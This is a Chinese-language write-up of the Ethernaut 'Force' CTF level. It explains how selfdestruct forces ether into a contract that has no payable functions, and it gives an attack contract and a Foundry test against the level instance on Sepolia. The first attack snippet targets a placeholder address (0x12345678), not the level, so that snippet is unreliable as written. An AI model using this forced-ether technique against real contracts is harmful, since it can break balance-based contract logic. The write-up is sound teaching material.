# Ethernaut CTF Level 7 - Force
## 題目
有些合約就是不想要收你的錢錢 ¯\_(ツ)_/¯
這一關的目標是使合約的餘額大於 0
可能會有用的資訊
* fallback 方法
* 有時候攻擊一個合約最好的方法是使用另一個合約
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
```
<br>
## 分析
這是一份空的合約,裡面沒有任何能接收ether的函數
- receive
- fallback
乍看之下完全無法接受ether
但是在Solidity中有一種函數叫做自我毀滅函數
在毀滅這個合約的同時,會把剩餘的balance傳到指定address
```solidity
selfdestruct(addr);
```
<br>
## 攻擊
寫一個selfdestruct()函數即可
Deploy並且執行attack function
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {
constructor() {
}
function attack() public payable {
address payable addr = payable(address(0x12345678));
selfdestruct(addr);
}
}
```
<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/07-Force/Force.sol";
contract ContractTest is Test {
Force level7 = Force(payable(0x9eD3Ea280180512155d7c584a735D1bB185B3103));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x9eD3Ea280180512155d7c584a735D1bB185B3103),
"Ethernaut07"
);
}
function testEthernaut07() public {
assertEq(
address(0x9eD3Ea280180512155d7c584a735D1bB185B3103).balance,
0
);
selfdestruct(
payable(address(0x9eD3Ea280180512155d7c584a735D1bB185B3103))
);
}
receive() external payable {}
}
```
<br>
## 補充
From Ethernaut
在 Solidity 中,如果一個合約要能夠接收 ether,它的 fallback 方法必須設為 payable。
然而,並沒有什麽辦法可以阻止攻擊者透過自毀的方式,向合約發送 ether,所以,不要將任何合約邏輯建立在 address(this).balance == 0 之上。